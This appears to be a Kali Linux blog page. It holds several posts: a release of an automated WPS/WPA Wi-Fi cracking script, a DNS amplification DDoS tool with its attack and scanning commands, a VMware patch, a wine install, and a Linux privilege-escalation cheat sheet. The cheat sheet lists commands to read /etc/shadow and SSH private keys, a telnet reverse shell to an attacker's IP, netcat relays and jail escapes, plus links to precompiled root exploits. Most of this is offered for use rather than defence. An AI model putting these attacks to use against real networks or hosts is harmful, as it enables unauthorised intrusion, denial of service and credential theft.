varmacscan-K1-2-2016-5-6.sh

kali linux

varmacscan-K1-2-2016-5-6.sh

owlTux 6/30/2017 Komentar

MTeams has voted to release their latest varmacscan for community use.

An overview of the attack sequence is provided below: After setup operations are robotic in nature:

Place in root

chmod 755 varmacscan-K1-2-2016-R-5-6.sh

Run

./varmacscan-K1-2-2016-R-5-6.sh

After initial setup by user:

Scan Phase With Wash

A wash scan of all targets is first conducted. Any Targets that have had their WPA key extracted are excluded.

Attack Phase with reaver supported by aireplay-ng and mdk3

Attack Step 1

The script looks for any previous WPS pin found and attempts to extract the WPA key from the network-wps pin pair using reaver and pixiedust.

Attack Step 2

If the WPA key is not extracted or no previous WPS Pin found, then a standard reaver brute force attack is conducted.

Attack Step 3

Reaver attacks the target using default pin 12345670

Attack stage 4

Reaver attacks the target using default pin 00000000

Attack stage 5

Reaver attacks the target using default pin generated by -W in reaver command line. See reaver --help

Attack stage 6

Reaver attacks all targets with default pin as selected by user.

Reaver moves to next target in sequence

When all targets are exhausted another wash scan is begun and the automatic cycle continues.

Network Activators

Four(4) different Network activators are included using aireplay-ng and mdk3. All four(4) processes are placed within regenerative loops to keep functioning in cases where signal strength is weak and/or the process terminates.

Airmon-ng

As MTeams has noted in these forums, if reaver is able to extract the WPS Pin BUT cannot extract the WPA Key then using an older version of airmon-ng solves the problem. During tests the results when using the older version of airmon-ng with kali 2.0 and Kali Rolling were far superior to results when using the airmon-ng found with the kali distro. In WPA key extraction the older version provided a statistical 10 to 1 advantage over the newer version.

MTeams has therefore embedded an older version of airmon-ng into the varmacscan script. Users are given the option of using the older version or using the version found in the kali distro as required.

Pixie Dust Manual Extraction

Reaver log data is written to a single log for each target each cycle and checked for a pixiedust data sequence after every stage. This log can be later brute forced by the user. You can download PDDSA-06.sh for kali 1.10A or PDDSA-K2-06.sh for kali 2 and 2016. This is available for download in these forums.

Essidprobe data is written to file for use in brute forcing a WPA handshake with aircrack-ng elcomsoft etc.

In closing MTeams suggests users run this script anytime the computer is not being used especially during sleep or at night when terrestrial radiation causes low level inversions in the atmosphere trapping the wifi signal in a tight band along the surface thus expanding range and increasing strength.

You can download thru

https://github.com/musket33/varmacscan

or

https://www.datafilehost.com/d/7250027b

source : https://forums.kali.org/showthread.php?35508-varmacscan-K1-2-2016-5-6-sh-released-for-community-use

Baca selengkapnya

theharvester-gui-kali

hacking kali linux tools hacking

theharvester-gui-kali

owlTux 6/30/2017 Komentar

What is theharvester-gui-kali?

It's a graphical frontend to theHarvester written by joshuastrot, for ease of use and speed. As Joshua's version covers Arch as well, I forked it to create a kali linux only branch to enable better version tracking. It's written in PyQt4 and Python 2.

Compatible Platforms:

• Kali

Universal Dependencies:

• Kali linux

Installation instructions

You'll need to build this package manually.

Dependencies:

• python-qt4

Installation instructions:

git clone https://github.com/drosrantt/theharvester-gui-kali.git ~/theharvester-gui
cd ~/theharvester-gui
sudo bash install.sh -d / 
theharvestergui

source : https://github.com/drosrantt/theharvester-gui-kali 

Baca selengkapnya

Fix VMWARE in Kali Linux 2.0 [SOLVED ERROR VMWARE NET KERNEL UPDATE]

kali linux

Fix VMWARE in Kali Linux 2.0 [SOLVED ERROR VMWARE NET KERNEL UPDATE]

Unknown 5/09/2016 Komentar

apt-get install linux-headers-$(uname -r)

1. apt-get install git gcc make linux-headers-$(uname -r)

2. Download vmware at
https://my.vmware.com/web/vmware/downloads
Install VMware
As you saw, VMware can not run.

Now , how to fix
Download patch for kernel 4.0
cd /tmp/ && wget http://archive.xboot.info/tools/fix%20vmware%20kali%202.0/vmnet-3.19.patch
cd /usr/lib/vmware/modules/source
tar -xf vmnet.tar
patch -p0 -i /tmp/vmnet-3.19.patch
tar -cf vmnet.tar vmnet-only
rm -r *-only
vmware-modconfig --console --install-all

3. Now, confinue Fix

cd /usr/lib/vmware/modules/source
tar -xvf vmnet.tar
#edit file vmnet-only/netif.c and replace the line that looks like
#line 152# dev = alloc_netdev(sizeof *netIf, deviceName, VNetNetIfSetup);
to
dev = alloc_netdev(sizeof *netIf, deviceName, NET_NAME_UNKNOWN, VNetNetIfSetup);
save file
$tar -cvf vmnet.tar vmnet-only/
$ rm -rf vmnet-only/

Run Vmware player or workstation again

Baca selengkapnya

Tsunami

Hack kali kali linux pentest tools hacking

Tsunami

Unknown 7/31/2014 Komentar

Tsunami is a DNS Amplification Attack Tool which is collected from the internet and modified by Samiux. It is designed for testing your server and/or network under the DNS Amplification Attack. Perform this test on any server and/or network without authorization is a crime and you will be put into a jail.
The number of open recursive DNS servers and the bandwidth of the attacker as well as duration may affect the traffic volume size of the attack.

Usage

To perform DNS Amplification attack :

python amplfiy.py -t 1.2.3.4 -s open_dns.txt -a domain_name.txt -c -1 --verify -v --threads=1000

*where 1.2.3.4 is the victim's IP address

To scan for the open recursive DNS server :

perl find_open_resolvers.pl '1.0.0.0 - 1.84.255.255' -q 1000

Remarks : this script just can check if the DNS server has the RA flag or not only. You need to double check with the following command to confirm the scanned DNS server is a true open recursive DNS server.

dig ANY isc.org @samsung.idv.tw

*where samsung.idv.tw is the open recursive DNS server
where isc.org is the domain to lookup

Tsunami comes with the following files :

amplfiy.py - the attack script
find_open_resolvers.pl - the scanner script
gov-uk_domain.txt - domain names of UK Government
open_dns_1.0.0.0-1.84.255.255.txt - open recursive DNS list within 1.0.0.0 and 1.84.255.255 IP range

Baca selengkapnya

how to install wine on kali linux 1.0.x AMD

kali kali linux wine

how to install wine on kali linux 1.0.x AMD

Unknown 5/31/2014 Komentar

Alhamdulillah Kali linux release versi terbaru 1.0.7 . tidak menunggu lama langsung saja saya install di laptop tua kesayangan ini ^_^ saya menginstall versi amd (x64).
setelah terinstall semua terasa nyaman , cobalah saya menginstall aplikasi windows di linux ini . keanehan mulai terjadi :( kali linux ini tidak dilengkapi wine, ntah mengapa saya juga belum menemukan jawabannya. alhasil setelah googling beberapa menit saya berniat mengintall wine secara manual. saya coba dengan cara mengaktifkan repo i386, berikut beberapa langkahnya :

1. mengaktifkan repo arsitektur 32bit / i386, buka terminal kemudian pastekan perintah dibawah ini

dpkg --add-architecture i386

2. kemudian melanjutkan dengan update dan instalasi wine
apt-get update && apt-get install wine-bin:i386

cukup menunggu dan wine akan terinstall di kali linux amd.
sekian catatan ini saya buat , :)

 

Baca selengkapnya

Basic Linux Privilege Escalation

exploit Hack kali kali linux

Basic Linux Privilege Escalation

Unknown 5/28/2014 Komentar

Enumeration is the key.
(Linux) privilege escalation is all about:

• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

Operating System

What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
   cat /etc/lsb-release
   cat /etc/redhat-release


What's the Kernel version? Is it 64-bit?
cat /proc/version   
uname -a
uname -mrs 
rpm -q kernel 
dmesg | grep Linux
ls /boot | grep vmlinuz-


What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


Is there a printer?
lpstat -a

Applications & Services

What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service 


Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root


What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ 


Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf 
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 


What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla 

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network 


What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


What other users & hosts are communicating with the system?
lsof -i 
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee


Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip] 
proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last 
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l 


What sensitive files can be found? 
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/


Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg


What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history 
cat ~/.php_history


What user information can be found? 
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Can private-key information be found? 
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone 


What can be found in /var/ ? 
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/


Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


How are file-systems mounted? 
mount
df -h


Are there any unmounted file-systems?
cat /etc/fstab


What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null 


Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders


Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc* 
find / -name cc


How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp* 
find / -name ftp 


Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com 


Finding more information regarding the exploit 
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]


(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan*66ghz*com/file/local-root-exploit-priv9/

Mitigations

Is any of the above information easy to find? 
Try doing it! 
Setup a cron job which automates script(s) and/or 3rd party products


Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services 
apt-get update && apt-get upgrade
yum update


Are services running with the minimum level of privileges required? 
For example, do you need to run MySQL as root?


Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net 

Other (quick) guides & Links

Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm


Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

sumber : http://goo.gl/Xddt1u

Baca selengkapnya